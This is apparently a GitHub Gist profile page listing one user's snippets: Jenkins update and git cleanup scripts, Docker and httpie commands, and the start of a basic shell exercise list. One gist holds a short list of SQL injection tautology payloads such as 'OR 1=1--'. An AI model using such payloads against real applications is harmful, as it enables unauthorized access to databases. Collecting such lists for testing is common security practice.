Skip to content

Instantly share code, notes, and snippets.

@vokiel
vokiel / Generic Error Based Payloads.txt
Created November 12, 2020 21:12
SQL Injection Payloads
OR 1=1
OR 1=0
OR x=x
OR x=y
OR 1=1#
OR 1=0#
OR x=x#
OR x=y#
OR 1=1--
OR 1=0--
@vokiel
vokiel / update_jenkins.sh
Created March 16, 2020 16:58
Update Jenkins
#!/bin/bash
if [ $# -lt 1 ] ; then
printf "%s\n" "Usage: $0 version"
exit 1
fi
VERSION=$1
JENKINS_FILE="jenkins.war_$VERSION.bak"
@vokiel
vokiel / console.sh
Created June 7, 2018 08:39
Docker exec into bash console with proper columns and lines
docker exec -e COLUMNS="`tput cols`" -e LINES="`tput lines`" -ti container bash
@vokiel
vokiel / console.sh
Last active August 18, 2022 18:54
PHPStorm xdebug POST to REST with httpie from the cli
echo '{"id":8}' | http --verify=no POST https://service.dev/api/id Content-Type:application/json 'Cookie:XDEBUG_SESSION=PHPSTORM'
@vokiel
vokiel / remove_local_not_in_remote.sh
Created August 27, 2017 19:07
Remove local branches which are not in the remote
#!/bin/sh
# Remove local branches
# which are not in the remote
git fetch -p && for branch in `git branch -vv | grep ': gone]' | awk '{print $1}'`; do git branch -D $branch; done
@vokiel
vokiel / gist:16554ec122ab3cdb65a5fa1e4bf779b6
Created August 8, 2017 09:00
Docker apache + php + mod_rewrite
docker run -v myhtml:/var/www/html -p 8000:80 php:5.6-apache /bin/bash -c 'a2enmod rewrite; apache2-foreground'
#1. hello_world/
echo 'hello world'
#2. current_working_directory/
echo $PWD
#3. list_files/
ls -A
#4. print_file_contents/